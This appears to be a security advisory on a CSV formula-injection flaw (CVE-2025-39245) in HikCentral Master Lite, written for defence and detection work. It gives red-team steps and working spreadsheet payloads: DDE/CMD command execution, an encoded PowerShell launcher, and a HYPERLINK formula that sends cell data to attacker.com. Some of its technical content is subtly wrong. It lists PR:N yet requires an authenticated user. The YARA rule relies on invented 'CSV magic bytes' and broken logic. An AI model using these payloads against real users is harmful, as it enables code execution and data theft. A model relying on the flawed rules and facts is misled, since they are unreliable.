CVE-2025-39245

Executive Summary

CVE-2025-39245 is a CSV Injection vulnerability affecting HikCentral Master Lite, a video management and access control platform. The flaw allows an attacker to inject malicious formulas or executable commands into CSV export files. When a victim opens the crafted CSV file in a spreadsheet application (e.g., Microsoft Excel, LibreOffice Calc), the injected payload executes, potentially leading to data exfiltration, command execution, or further compromise of the victim’s system. The CVSS score is 4.7 (Medium), reflecting the need for user interaction and local access. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
• Base Score: 4.7 (Medium)
• Attack Vector: Local (AV:L) – The attacker must deliver the malicious CSV file to the victim.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must open the CSV file in a spreadsheet application.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited ability to modify data.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: Medium. Exploitation requires social engineering to trick a user into opening a malicious CSV file. However, if successful, it can lead to command execution on the victim’s machine.

Deep Dive & Mechanics

CSV Injection (CWE-1236) occurs when an application does not sanitize user-supplied data before embedding it into a CSV file. In HikCentral Master Lite, when exporting data (e.g., logs, reports), fields containing special characters (e.g., =, +, -, @) are not escaped. An attacker can craft a payload such as =CMD|' /C calc'!A0 or =HYPERLINK("http://malicious.com") that, when the CSV is opened in Excel, triggers formula execution.

The vulnerability is particularly dangerous because:

• It bypasses traditional web application firewalls (WAFs) since the payload is delivered via a legitimate export function.
• It can be used to exfiltrate data via DDE (Dynamic Data Exchange) or to download and execute malware.
• The attack is stealthy; the victim may not notice the malicious activity until it is too late.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code likely lacks proper escaping of CSV special characters. A patched version would sanitize fields by:

• Prepending a single quote (') to fields starting with =, +, -, or @.
• Encoding the field to prevent formula interpretation.

Vulnerable Code Example (Python-like pseudocode):

def export_csv(data):
    with open('export.csv', 'w') as f:
        writer = csv.writer(f)
        for row in data:
            writer.writerow(row)  # No sanitization

Patched Code Example:

def sanitize_field(field):
    if field and field[0] in ['=', '+', '-', '@']:
        field = "'" + field
    return field

def export_csv(data):
    with open('export.csv', 'w') as f:
        writer = csv.writer(f)
        for row in data:
            sanitized_row = [sanitize_field(field) for field in row]
            writer.writerow(sanitized_row)

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to HikCentral Master Lite export functionality (e.g., as an authenticated user).
• Ability to inject malicious data into a field that will be exported (e.g., device name, user comment).

Step-by-Step Exploitation:

1. Log in to HikCentral Master Lite.
2. Navigate to a section that allows data export (e.g., event logs, device list).
3. Create or modify a record with a malicious payload in a text field. Example payload: =CMD|' /C powershell -e <base64_encoded_command>'!A0
4. Export the data as CSV.
5. Send the CSV file to the victim via email or other means.
6. When the victim opens the CSV in Excel, the payload executes.

Example Payloads:

• =HYPERLINK("http://attacker.com/steal?data="&A1,"Click here") – Phishing link.
• =DDE("cmd","/c calc","","") – Execute calculator (proof of concept).
• =MSEXCEL|'\..\..\Windows\System32\cmd.exe /c dir'!A1 – Command execution.

Blue Team (Defense & Detection)

Defensive Measures:

• User Education: Train users not to open CSV files from untrusted sources.
• CSV Sanitization: Implement server-side sanitization of exported CSV files.
• Content Disarm & Reconstruction (CDR): Use tools to strip malicious formulas from CSV files.
• Group Policy: Disable DDE in Excel via Group Policy (Registry: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\DDEServer).
• Email Filtering: Block CSV attachments or scan them for malicious patterns.

Detection:

• Monitor for unusual process creation (e.g., cmd.exe, powershell.exe) triggered by Excel.
• Alert on CSV files containing =, +, -, @ at the start of fields.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – no known samples)
• Network Indicators:
  • Outbound connections to attacker-controlled domains from Excel processes.
  • HTTP requests containing exfiltrated data in URL parameters.
• Process Indicators:
  • EXCEL.EXE spawning cmd.exe, powershell.exe, or wscript.exe.
  • Unusual child processes of EXCEL.EXE.
• Registry Changes:
  • Modification of Excel security settings to enable DDE.
• File Indicators:
  • CSV files containing formulas starting with =, +, -, @.

Detection Engineering

YARA Rule

rule CVE_2025_39245_CSV_Injection {
    meta:
        description = "Detects CSV files with potential injection patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39245"
    strings:
        $injection1 = /^[=+\-@]/ 
        $injection2 = /CMD\|/
        $injection3 = /DDE\(/
        $injection4 = /HYPERLINK\(/
    condition:
        (uint32(0) == 0x435356) and // CSV magic bytes (optional)
        (#injection1 > 0) or (#injection2 > 0) or (#injection3 > 0) or (#injection4 > 0)
}

Sigma Rule

title: CVE-2025-39245 CSV Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Excel spawning suspicious child processes indicative of CSV injection
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-39245
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\EXCEL.EXE'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate use of Excel macros
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39245 CSV Injection - Potential Data Exfiltration"; flow:to_server; content:"GET"; http_method; content:"/"; http_uri; pcre:"/(?:exfil|steal|data)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable DDE in Excel across the organization via Group Policy.
2. Implement CSV sanitization on the HikCentral Master Lite server if possible (e.g., using a reverse proxy or custom script).
3. Educate users about the risks of opening CSV files from unknown sources.

Long-Term Fix:

• Await an official patch from HikCentral. In the meantime, consider using an alternative export format (e.g., PDF, XLSX) that does not support formula injection.
• Monitor vendor advisories and apply the patch as soon as it becomes available.

Workaround:

• Use a CSV viewer that does not interpret formulas (e.g., Notepad++) instead of Excel.
• Enable "Protected View" in Excel for files from the internet.

Valters IT
Securing Digital Frontiers